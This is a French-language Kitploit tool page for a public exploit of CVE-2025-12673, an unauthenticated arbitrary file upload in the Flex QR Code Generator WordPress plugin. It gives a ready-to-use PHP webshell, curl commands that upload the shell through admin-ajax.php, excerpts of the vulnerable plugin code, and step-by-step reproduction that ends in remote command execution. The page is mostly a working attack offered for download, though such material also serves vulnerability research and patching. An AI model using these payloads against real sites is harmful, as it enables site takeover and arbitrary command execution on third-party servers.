Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-12673 — Flex QR Code Generator <= 1.2.6 - Téléversement de fichier arbitraire non authentifié | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-12673
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubd0n601/cve-2025-12673

CVE-2025-12673

Flex QR Code Generator <= 1.2.6 - Téléversement de fichier arbitraire non authentifié

Voir le dépôt
2il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Flex QR Code Generator <= 1.2.6 - Téléversement de fichiers arbitraires non authentifié

L'extension Flex QR Code Generator ne valide pas les permissions utilisateur et ne nettoie pas les fichiers téléversés dans son point de terminaison AJAX update_qr_code, permettant à des attaquants non authentifiés de téléverser des fichiers arbitraires, y compris des scripts PHP exécutables, conduisant à une exécution de code à distance.

TL;DR Exploits

root@kitploit:~
# Upload PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"

Détails

La vulnérabilité se situe dans la méthode update_qr_code de la classe FlexQrCodeGenerator. L'extension enregistre des points de terminaison AJAX pour les utilisateurs non authentifiés, ce qui permet à tout visiteur de téléverser des fichiers arbitraires qui sont stockés dans le répertoire de téléversements de WordPress.

Code vulnérable provenant de /qr-code-generator.php:457-589:

root@kitploit:~
public function update_qr_code()
{
  if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
    // ... validation code ...
    
    // Handle the logo (file upload)
    if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
      $logo = $_FILES['logo'];
      $upload_dir = wp_upload_dir();
      
      $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
      $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
      $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
      $file_path = $upload_dir['path'] . '/' . $new_file_name;
      
      if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        // File uploaded successfully
      }
    }
  }
}

Exécution de fichier provenant de /qr-code-generator.php:504:

root@kitploit:~
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
  $logo_url = $upload_dir['url'] . '/' . $new_file_name;
  $logo_url = str_replace(home_url(), '', $logo_url);
  $update_data['logo_url'] = $logo_url;
}

Accès non authentifié provenant de /qr-code-generator.php:41-42:

root@kitploit:~
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

Reproduction manuelle

  1. Identifiez la cible avec l'extension Flex QR Code Generator installée
  2. Trouvez un ID de code QR existant:
root@kitploit:~
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=flexqr_fetch_qr_code" \
  -d "per_page=10" \
  -d "page=1"
  1. Téléversez un fichier PHP malveillant:
root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"
  1. Vérifiez le téléversement en contrôlant le répertoire de téléversements pour shell_1.php
  2. Exécutez des commandes en visitant le fichier téléversé avec ?cmd=whoami
Télécharger l’outil